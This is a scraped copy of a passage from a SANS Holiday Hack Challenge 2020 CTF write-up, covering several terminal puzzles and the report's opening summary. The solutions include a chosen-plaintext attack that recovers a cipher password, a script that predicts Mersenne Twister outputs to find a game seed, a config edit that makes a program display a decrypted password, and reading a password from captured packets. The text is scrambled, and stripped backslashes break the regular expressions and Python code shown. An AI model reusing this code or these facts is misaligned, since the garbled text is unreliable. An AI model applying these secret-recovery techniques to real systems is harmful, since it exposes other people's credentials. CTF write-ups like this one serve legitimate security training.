Checking......
Door opened!
SANS HHC: Challenge and Terminal Assessment Report
Examining the executable, we find an associated configuration file, shown below:
Running the executable, we see the name from the configuration file is displayed. Perhaps, given the hint, the
password could be copied to the username field and the encrypted password may be decrypted and displayed for
us. Change the configuration file to copy the password to the username field (this must be done in the lab folder
as the user does not have permission to change the main configuration file.)
Indeed, when the program is run we see the plaintext password displayed in the Welcome back, <user>
field.
After obtaining the correct password it can be used to turn the lights on by running the lights executable in the
home folder (not the ~/lab folder).
Running the executable with the correct password earns us the second achievement, Speaker Lights On.
This takes us to the final challenge, turning on the vending machine. The existing configuration file contains an
encrypted password “LVEdQPpBwr” and we are also given the following hint:
• Lookup Table – For polyalphabetic ciphers, if you have control over inputs and visibility of outputs,
lookup tables can save the day.
password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: elf-technician
password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
elf#73c3e01b94bd ~/lab $ ./lights
...
The terminal just blinks: Welcome back, Computer-TurnLightsOn
...
elf@caedd5542497 ~ $ ./lights
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)
You wonder how to turn the lights on? If only you had some kind of hin---
>>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lights.conf
---t to help figure out the password... I guess you'll just have to make do!
The terminal just blinks: Welcome back, elf-technician
What do you enter? > Computer-TurnLightsOn
Checking......
Lights on!
SANS HHC: Challenge and Terminal Assessment Report
Hmm. It looks like we may have something like a Vigenere or other polyalphabetic substitution cipher. Bushy
Evergreen suggests using simple repeating characters to test the cipher such as AAAAAAAAAAA. We can do
this by deleting the vending- machines.json configuration file in the ./lab directory and then running the
program, which then prompts us for the information to create a new configuration file.
We can use this to our advantage in a chosen-plaintext attack. Using different inputs let’s learn something about
the cipher.
1. Start with:
From this we learn that the pattern is cyclic, i.e. it repeats every n+8 characters so the substitution for A in the
first position will also match the ninth position, seventeenth position, etc. This makes figuring out the key much
easier.
2. Next:
From this test we learn that this each letter does not consist of a simple shift cipher as we would expect B to map
to Y or W in the first position. It could be a Vigenere or unique Atbash key unique for each position repeating
after eight characters. Let’s try CCCCCCCCCCCCCC and see if we can get any
additional information.
3. Next try Cs
In the process of poking at the algorithm, we have inadvertently discovered our first plaintext letter. The original
password has a capital L in position 1 and CCC… has an L in position one. This means the first character of the
password must be C. Perhaps, just given this information we can guess some or all of the password. This is a
holiday themed event so might the password be Candycanes considering that the first letter and the link
matches? Let’s try and see if we can shortcut having to brute force the key or complete entire lookup tables.
elf@fdc4c90029a1 ~/lab $ ./vending-machines
...
ALERT! ALERT! Configuration file is missing! New Configuration File Creator
Activated!
Please enter the name > test
Please enter the password > AAAAAAAAAAAAAAAA
...
elf@fdc4c90029a1 ~/lab $ ls
door lights lights.conf vending-machines vending-machines.json
elf@fdc4c90029a1 ~/lab $ cat vending-machines.json
{
"name": "test",
"password": "XiGRehmwXiGRehmw"
Input: AAAAAAAAAAAAAAAA
Output: XiGRehmwXiGRehmw
Input: BBBBBBBBBBBBBBBB
Output: DqTpKv7fDqTpKv7f
Input: CCCCCCCCCCCCCCCC
Output: Lbn3UP9WLbn3UP9W
Input: Candycanes
Output: LVEdQEpBw5
Pass: LVEdQPpBwr
Matching: Candy?ane?
SANS HHC: Challenge and Terminal Assessment Report
This is exciting! most of the characters match, so we have all but two characters that need to be found. Based on
common password themes, lets try some different combinations to see if we can easily guess the password at this
point without a brute force:
Ah ha! The password is CandyCane1. Lets execute vending-machines and complete this last challenge.
With that, we complete the entire challenge and earn the third and final achievement, Speaker Turn on Vending
Machines.
3.8 Snowball Fight
This challenge involves beating a Battleship style game where the fort locations of the computer are picked
based on a number that represents the player id. There are a number of game modes, with the hard mode not
letting the player set their own player id and impossible not showing the id. Based on the content of the
“Random Facts About Mersenne Twisters” talk, we are probably working with a Mersenne Twister PRNG and
need to figure out the actual player ID for the impossible levels (it probably changes for each game as well). We
are also given a Python program that can predict the next random number if we have 624 of the previously
generated numbers in chronological order. We also have the following hints:
• PRNG Seeding – While system time is probably most common, developers have the option to seed
pseudo-random number generators with other values.
• Extra Instances - Need extra Snowball Game instances? Pop them up in a new tab from
https://snowball2.kringlecastle.com.
• Mersenne Twister – Python uses the venerable Mersenne Twister algorithm to generate PRNG values
after seed. Given enough data, an attacker might predict upcoming values.
• Twisted Talk – Tom Liston is giving two talks at once – amazing! One is about the Mersenne Twister
After examining the various game modes and the source code for each game, the following comments are
discovered:
Candycanes - "LVEdQEpBw5" - Candy?ane?
CandyCane5 - "LVEdQPpBwT" - CandyCane?
CandyCaned - "LVEdQPpBwR" - CandyCane?
CandyCane? - "LVEdQPpBw?" - CandyCane?
CandyCanez - "LVEdQPpBwa" - CandyCane?
CandyCaneZ - "LVEdQPpBwt" - CandyCane?
CandyCaneS - "LVEdQPpBwg" - CandyCane?
CandyCane1 - "LVEdQPpBwr" - CandyCane1
Caelf@fdc4c90029a1 ~ $ ./vending-machines
The elves are hungry!
If the door's still closed or the lights are still off, you know because
you can hear them complaining about the turned-off vending machines!
You can probably make some friends if you can get them back on...
Loading configuration from: /home/elf/vending-machines.json
I wonder what would happen if it couldn't find its config file? Maybe that's
something you could figure out in the lab...
Welcome, elf-maintenance! It looks like you want to turn the vending machines back
on?
Please enter the vending-machine-back-on code > CandyCane1
Checking......
Vending machines enabled!!
SANS HHC: Challenge and Terminal Assessment Report
Look at that, it is 624 random numbers in the order they were generated. We can copy this comment out and use
the provided Python code to predict the next number, which turns out to be the number used by the impossible
mode to place snow forts. By pasting the HTML comments into a file called seeds.txt and reusing the provided
code we can make a prediction. The code to do this is shown below:
If this works correctly we should be able to use the predicted number as the Player ID in easy mode and
determine the fort locations so we can hit each one on the first try in impossible mode. Below are the results.
This works and we are able to find the snow forts on easy mode and then hit the snow forts on impossible mode
without a single miss, which is required to beat impossible.
#!/usr/bin/python
import re
import mt19937
f = open("seeds.txt","r")
lines = f.read()
f.close()
arr = []
lines = lines.split("n")
for line in lines:
if re.search("d+s-",line):
arr.append(int(line.strip().split(' ')[0]))
mt = mt19937.mt19937(0)
for i in range(0,len(arr)):
mt.MT[i] = mt19937.untemper(arr[i])
print(mt.extract_number())
...
$ ./predict.py
578410427
SANS HHC: Challenge and Terminal Assessment Report
Beating the impossible mode while framed in the Kringlecon application completes the challenge and earns you
the Snowball Game achievement.
SANS HHC: Challenge and Terminal Assessment Report
3.9 Sort-O-Matic
This terminal challenge requires you to write regular expressions that match the stated requirements. The
following hints are given for this challenge:
• Regex Practice – Here’s a place to try out your JS Regex expressions: https://regex101.com/
• JavaScript Regex Cheat Sheet – Handy quick reference for JS regular expression construction:
https://www.debuggex.com/cheatsheet/regex/javascript
Below is the list of requirements and regular expressions written to complete this challenge:
Creating and inputting regular expression in the UI and having all pass the required tests earns us the Sort-O-
Matic achievement.
1. Matches at least one digit (Create a regular expression that will only match any
string containing at least one digit.)
d+
2. Matches 3 alpha a-z characters ignoring case (Create a regular expression that
will only match only alpha characters A-Z of at least 3 characters in length or
greater while ignoring case.)
^[a-zA-Z]{3,}$
3. Matches 2 chars of lowercase a-z or numbers (Create a regular expression that
will only match at least two consecutive lowercase a-z or numeric characters.)
[a-z0-9]{2,}
4. Matches any 2 chars not uppercase A-L or 1-5 (Create a regular expression that
will only match any two characters that are NOT uppercase A through L and NOT
numbers 1 through 5.)
[^A-Z1-5]{2}
5. Matches three or more digits only (Create a regular expression that only matches
if the entire string is composed of entirely digits and is at least 3 characters in
length.)
^d{3,}$
6. Matches multiple hour:minute:second time formats only
(Create a regular expression that only matches if the entire string is a valid
Hour, Minute and Seconds time format similar to the following:
...
Use anchors or boundary markers to avoid matching other surrounding strings.)
^[0-2]{0,1}d:[0-5]d:[0-5]d$
7. Matches MAC address format only while ignoring case
(Create a regular expression that only matches if the entire string is a MAC
address. For example:
...
Use anchors or boundary markers to avoid matching other surrounding strings.)
^[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-Fa-f]{2}:[0-9A-
Fa-f]{2}$
8. Matches multiple day, month, and year date formats only
(Create a regular expression that only matches one of the three following day,
month, and four digit year formats:
...
Use anchors or boundary markers to avoid matching other surrounding strings.)
^[0-1]d[/.-]([0-2]d|[3][0-1])[/.-]d{4}$
SANS HHC: Challenge and Terminal Assessment Report
3.10 CAN-Bus Investigation
Upon being presented with the terminal we are given the following instructions:
After examining the ICSim program and packet capture you will find that the number that distinctly identifies
the type of message being sent is that which directly precedes the # in the third column of a CAN-Bus dump.
We know we are looking for two lock and one unlock event. If they both use the same id we should have only
three entries of a particular id. We can use Linux tools to examine the file and count the number of events by id
as follows:
Looking at this information, we can see that the ID of 19B with an additional mask of 0000F000000 is the
unlock event (should be the only unique event). We can then submit the number 122520 to the ./runtoanswer
program.
After running the program with the correct answer, we now have earned the CAN-Bus investigation
achievement.
3.11 Scapy Prepper
This terminal challege, like the CAN-Bus challenge, is located on the roof. This challenge is similar to the
Linux Primer challenge in that it functions more as a tutorial than a true technical or security related puzzle. It
walks you through the Python Scapy library for sending, sniffing, and manipulating network packets. Answers
to each of the questions is found below:
Type "yes" to begin.
Welcome to the CAN bus terminal challenge!
In your home folder, there's a CAN bus capture from Santa's sleigh. Some of
the data has been cleaned up, so don't worry - it isn't too noisy. What you
will see is a record of the engine idling up and down. Also in the data are
a LOCK signal, an UNLOCK signal, and one more LOCK. Can you find the UNLOCK?
We'd like to encode another key mechanism.
Find the decimal portion of the timestamp of the UNLOCK code in candump.log
and submit it to ./runtoanswer! (e.g., if the timestamp is 123456.112233,
please submit 112233)
elf@2de2c84f2f05:~$ head -2 candump.log
(1608926660.800530) vcan0 244#0000000116
(1608926660.812774) vcan0 244#00000001D3
elf@2de2c84f2f05:~$ cut -f 3 -d ' ' candump.log | cut -f 1 -d '#' | sort | uniq -c
35 188
3 19B
1331 244
elf@2de2c84f2f05:~$ grep 19B# candump.log
(1608926664.626448) vcan0 19B#000000000000
(1608926671.122520) vcan0 19B#00000F000000
(1608926674.092148) vcan0 19B#000000000000
elf@2de2c84f2f05:~$
elf@7eb6c0e8f43d:~$ ./runtoanswer 122520
Your answer: 122520
Checking....
Your answer is correct!
Yes
>>> task.get()
SANS HHC: Challenge and Terminal Assessment Report
1. Start by running the task.submit() function passing in a string argument of 'start'.
2. Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.
3. Submit the class object of the scapy module that sniffs network packets and returns those
packets in a list.
4. Submit the NUMBER only from the choices below that would successfully send a TCP packet and then
return the first sniffed response packet to be stored in a variable named "pkt":
1. pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20))
2. pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20))
3. pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20))
5. Submit the class object of the scapy module that can read pcap or pcapng files and return
a list of packets.
6. The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices
below that correctly prints a summary of UDP_PACKETS:
1. UDP_PACKETS.print()
2. UDP_PACKETS.show()
3. UDP_PACKETS.list()
7. Submit only the first packet found in UDP_PACKETS
7. Submit only the entire TCP layer of the second packet in TCP_PACKETS.
8. Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this
modified packet.
9. Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list
TCP_PACKETS.
>>> task.submit(‘start’)
>>> task.submit(send)
>>> task.submit(sniff)
>>> task.submit(1)
>>> task.submit(rdpcap)
>>> task.submit(2)
>>> task.submit(TCP_PACKETS[1][TCP])
>>> task.submit(UDP_PACKETS[0])
>>> UDP_PACKETS[0][IP].src=”127.0.0.1”
>>> task.submit(UDP_PACKETS)
SANS HHC: Challenge and Terminal Assessment Report
10. Submit the number of the choice below that would correctly create a ICMP echo request pack
et with a destination IP of 127.0.0.1 stored in the variable named "pkt"
1. pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request")
2. pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply")
3. pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")the ICMP chksum value from the second packet in the
ICMP_PACKETS list.
11. Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127.
(all other packet attributes can be unspecified)
12. Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a
qname of "elveslove.santa". (all other packet attributes can be unspecified)
13. The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second
packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP
response and then task.submit(ARP_PACKETS) for inspection.
Upon successfully answering all questions, you are awarded the Scapy Practice achievement.
>>> for I in range(3,len(TCP_PACKETS)):
... TCP_PACKETS[i][RAW].show()
###[ Raw ]###
load = 'PASS echorn'
...
>>> task.submit(3)
>>> task.submit(IP(dst='127.127.127.127')/UDP(dport=5000))
>>> task.submit(IP(dst="127.2.3.4")/UDP(dport=53)/DNS(rd=1,
qd=DNSQR(qname='elveslove.santa')))
>>> ARP_PACKETS[1]
<Ether dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP hwtype=0x1
ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=00:13:46:0b:22:ba psrc=192.168.0.1
hwdst=00:16:ce:6e:8b:24 pdst=192.168.0.114 |<Padding load='xc0xa8x00r' |>>>
>>> ARP_PACKETS[1][ARP].hwsrc=ARP_PACKETS[1][Ether].src
>>> ARP_PACKETS[1][ARP].hwdst=ARP_PACKETS[1][Ether].dst
>>> ARP_PACKETS[1][ARP].op=2
>>> task.submit(ARP_PACKETS)

More Related Content

Similar to SANS Holiday Hack Challenge Report

Business Analytics Portfolio - Hannah Forsythe
Business Analytics Portfolio - Hannah ForsytheBusiness Analytics Portfolio - Hannah Forsythe
Business Analytics Portfolio - Hannah ForsytheHannah Forsythe
 
Open Web Technologies and You - Durham College Student Integration Presentation
Open Web Technologies and You - Durham College Student Integration PresentationOpen Web Technologies and You - Durham College Student Integration Presentation
Open Web Technologies and You - Durham College Student Integration Presentationdarryl_lehmann
 
Cis 247 all i labs
Cis 247 all i labsCis 247 all i labs
Cis 247 all i labsccis224477
 
Week1 programming challenges
Week1 programming challengesWeek1 programming challenges
Week1 programming challengesDhanu Srikar
 
Reports in Horizon
Reports in HorizonReports in Horizon
Reports in HorizonJohnny Pe
 
3 - Thermometer.pptx thermometer thermometer thermometer
3 - Thermometer.pptx thermometer thermometer thermometer3 - Thermometer.pptx thermometer thermometer thermometer
3 - Thermometer.pptx thermometer thermometer thermometeraustcornish143
 
Silverlight won't save your user experience - you will!
Silverlight won't save your user experience - you will!Silverlight won't save your user experience - you will!
Silverlight won't save your user experience - you will!Shane Morris
 
Meet a 100% R-based CRO. The summary of a 5-year journey
Meet a 100% R-based CRO. The summary of a 5-year journeyMeet a 100% R-based CRO. The summary of a 5-year journey
Meet a 100% R-based CRO. The summary of a 5-year journeyAdrian Olszewski
 
Meet a 100% R-based CRO - The summary of a 5-year journey
Meet a 100% R-based CRO - The summary of a 5-year journeyMeet a 100% R-based CRO - The summary of a 5-year journey
Meet a 100% R-based CRO - The summary of a 5-year journeyAdrian Olszewski
 
lernOS for You Guide (Version 1.6)
lernOS for You Guide (Version 1.6)lernOS for You Guide (Version 1.6)
lernOS for You Guide (Version 1.6)Cogneon Akademie
 
Designing A Project Using Java Programming
Designing A Project Using Java ProgrammingDesigning A Project Using Java Programming
Designing A Project Using Java ProgrammingKaty Allen
 
Getting started with power map preview september refresh
Getting started with power map preview september refreshGetting started with power map preview september refresh
Getting started with power map preview september refreshMing Gu
 
python workshop(one of the 15 chapters)
python workshop(one of the 15 chapters)python workshop(one of the 15 chapters)
python workshop(one of the 15 chapters)Mehul shah
 
College of Doctoral Studies RES-850 Using MaxQ.docx
                College of Doctoral Studies RES-850 Using MaxQ.docx                College of Doctoral Studies RES-850 Using MaxQ.docx
College of Doctoral Studies RES-850 Using MaxQ.docxhallettfaustina
 

Similar to SANS Holiday Hack Challenge Report (20)

Business Analytics Portfolio - Hannah Forsythe
Business Analytics Portfolio - Hannah ForsytheBusiness Analytics Portfolio - Hannah Forsythe
Business Analytics Portfolio - Hannah Forsythe
 
Open Web Technologies and You - Durham College Student Integration Presentation
Open Web Technologies and You - Durham College Student Integration PresentationOpen Web Technologies and You - Durham College Student Integration Presentation
Open Web Technologies and You - Durham College Student Integration Presentation
 
TechWriterSamples
TechWriterSamplesTechWriterSamples
TechWriterSamples
 
Cis 247 all i labs
Cis 247 all i labsCis 247 all i labs
Cis 247 all i labs
 
Week1 programming challenges
Week1 programming challengesWeek1 programming challenges
Week1 programming challenges
 
Mathcad
MathcadMathcad
Mathcad
 
Reports in Horizon
Reports in HorizonReports in Horizon
Reports in Horizon
 
Openobject bi
Openobject biOpenobject bi
Openobject bi
 
3 - Thermometer.pptx thermometer thermometer thermometer
3 - Thermometer.pptx thermometer thermometer thermometer3 - Thermometer.pptx thermometer thermometer thermometer
3 - Thermometer.pptx thermometer thermometer thermometer
 
Master thesis
Master thesisMaster thesis
Master thesis
 
Silverlight won't save your user experience - you will!
Silverlight won't save your user experience - you will!Silverlight won't save your user experience - you will!
Silverlight won't save your user experience - you will!
 
Meet a 100% R-based CRO. The summary of a 5-year journey
Meet a 100% R-based CRO. The summary of a 5-year journeyMeet a 100% R-based CRO. The summary of a 5-year journey
Meet a 100% R-based CRO. The summary of a 5-year journey
 
Meet a 100% R-based CRO - The summary of a 5-year journey
Meet a 100% R-based CRO - The summary of a 5-year journeyMeet a 100% R-based CRO - The summary of a 5-year journey
Meet a 100% R-based CRO - The summary of a 5-year journey
 
lernOS for You Guide (Version 1.6)
lernOS for You Guide (Version 1.6)lernOS for You Guide (Version 1.6)
lernOS for You Guide (Version 1.6)
 
Designing A Project Using Java Programming
Designing A Project Using Java ProgrammingDesigning A Project Using Java Programming
Designing A Project Using Java Programming
 
Getting started with power map preview september refresh
Getting started with power map preview september refreshGetting started with power map preview september refresh
Getting started with power map preview september refresh
 
Openobject bi
Openobject biOpenobject bi
Openobject bi
 
GRC Agile Cheat Sheet v1.0
GRC Agile Cheat Sheet v1.0GRC Agile Cheat Sheet v1.0
GRC Agile Cheat Sheet v1.0
 
python workshop(one of the 15 chapters)
python workshop(one of the 15 chapters)python workshop(one of the 15 chapters)
python workshop(one of the 15 chapters)
 
College of Doctoral Studies RES-850 Using MaxQ.docx
                College of Doctoral Studies RES-850 Using MaxQ.docx                College of Doctoral Studies RES-850 Using MaxQ.docx
College of Doctoral Studies RES-850 Using MaxQ.docx
 

Recently uploaded

Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsPrecisely
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfjimielynbastida
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024BookNet Canada
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentationphoebematthew05
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsAndrey Dotsenko
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer
 

Recently uploaded (20)

Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power Systems
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdf
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptx
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentation
 
The transition to renewables in India.pdf
The transition to renewables in India.pdfThe transition to renewables in India.pdf
The transition to renewables in India.pdf
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping Elbows
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024
 

SANS Holiday Hack Challenge Report

  • 1. Objective and Terminal Assessment Report Author: Steven Maestas Thursday, December 17th , 2020
  • 2. SANS HHC: Challenge and Terminal Assessment Report Table of Contents 1 Summary........................................................................................................................................................3 1.1 Executive Summary................................................................................................................................3 1.2 Assessment Summary..............................................................................................................................3 2 Objectives......................................................................................................................................................3 2.1 Objective 1 – Uncover Santa’s Gift List...................................................................................................3 2.2 Objective 2 – Investigate S3 Bucket........................................................................................................4 2.3 Objective 3 – Point-of-Sale (PoS) Password Recovery.............................................................................5 2.4 Objective 4 – Operate the Santavator.......................................................................................................6 2.5 Objective 5 – Open HID Lock...............................................................................................................10 2.6 Becoming Santa....................................................................................................................................11 2.7 Objective 6 – Splunk Challenge.............................................................................................................11 2.8 Objective 7 – Solve the Sleigh’s CAN-D-Bus Problem..........................................................................13 2.9 Objective 8...........................................................................................................................................14 2.10 Objective 9..........................................................................................................................................17 2.11 Objective 10........................................................................................................................................21 2.12 Objective 11a......................................................................................................................................22 2.13 Objective 11b......................................................................................................................................25 2.14 End Game...........................................................................................................................................29 3 Terminals......................................................................................................................................................29 3.1 Kringle Kiosk.......................................................................................................................................29 3.2 Unescape Tmux....................................................................................................................................30 3.3 Linux Primer.........................................................................................................................................30 3.4 The Elf Code.........................................................................................................................................33 3.5 33.6kbps...............................................................................................................................................39 3.6 Redis Bug Hunt.....................................................................................................................................40 3.7 Speaker UNPrep...................................................................................................................................41 3.8 Snowball Fight......................................................................................................................................44 3.9 Sort-O-Matic.........................................................................................................................................46 3.10 CAN-Bus Investigation.......................................................................................................................47 3.11 Scapy Prepper.....................................................................................................................................48
  • 3. SANS HHC: Challenge and Terminal Assessment Report 1 Summary 1.1 Executive Summary The SANS Holiday Hack Challenge (HHC) is an annual, virtual security conference (Kringlecon) and CTF developed by SANS, sponsored by Google and Splunk and made available for free to anyone who has a web browser, Internet connection, and wants to participate. This year’s HHC became available starting on December 10th 2020. In addition to offering this conference and CTF free of charge, SANS also allows participants to write a report on the challenges (objectives and terminals) and submit that report for a chance to win a variety of prizes. This report has been published as an entrant into that competition. The documentation contained herein relate directly to the solutions to each challenge hosted and solved in the SANS 2020 HHC. 1.2 Assessment Summary Documentation below relates directly to each challenge offered in the SANS 2020 HHC. The technical challenges are split between objectives, which are the main challenges necessary to complete the CTF and the accompanying narrative, and terminals, smaller challenges which are often meant to develop an initial skill set for the objectives or allow the participant to earn hints which allow them to better understand the problems to be solved in the main objectives. This year’s HHC consists of 12 objectives and 11 terminal challenges, adding up to a total of 23 individual technical problems to be solved. This reports details the solution to every objective and terminal challenge. The documentation below will show how each objective or terminal challenge was solved. 2 Objectives 2.1 Objective 1 – Uncover Santa’s Gift List Upon registering or logging in with an account 